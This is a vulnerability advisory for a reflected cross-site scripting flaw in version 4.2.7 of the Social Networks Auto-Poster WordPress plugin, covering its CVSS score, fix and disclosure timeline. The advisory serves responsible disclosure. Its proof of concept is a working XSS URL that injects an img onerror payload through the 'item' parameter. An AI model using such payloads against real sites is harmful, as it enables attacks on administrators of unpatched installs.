WordPress Social Networks Auto-Poster 4.2.7 Cross Site Scripting

* Vulnerability: XSS
* Affected Software: [NextScripts: Social Networks
Auto-Poster](https://wordpress.org/plugins/social-networks-auto-poster-facebook-twitter-g/)
* Vulnerability: XSS
* Affected Software: [NextScripts: Social Networks
Auto-Poster](https://wordpress.org/plugins/social-networks-auto-poster-facebook-twitter-g/)
* Affected Version: 4.2.7
* Patched Version: 4.2.8
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/25/2018
* Vendor Fix: 11/02/2018
* Public Disclosure: 02/05/2019
* Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Social Networks Auto-Poster WordPress plugin is vulnerable to
reflected XSS as it echoes the `item` parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=nxssnap-reposter&action=edit&item=24'"><img+src%3Dx+onerror%3Dalert(1)>

##### Timeline

- 10/25/2018 Requested email address via contact form
- 10/29/2018 Vendor supplies email address
- 10/31/2018 Advisory sent
- 11/02/2018 Vendor releases fix
- 02/05/2019 Confirmed fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-social-networks-auto-poster-xss/

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PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89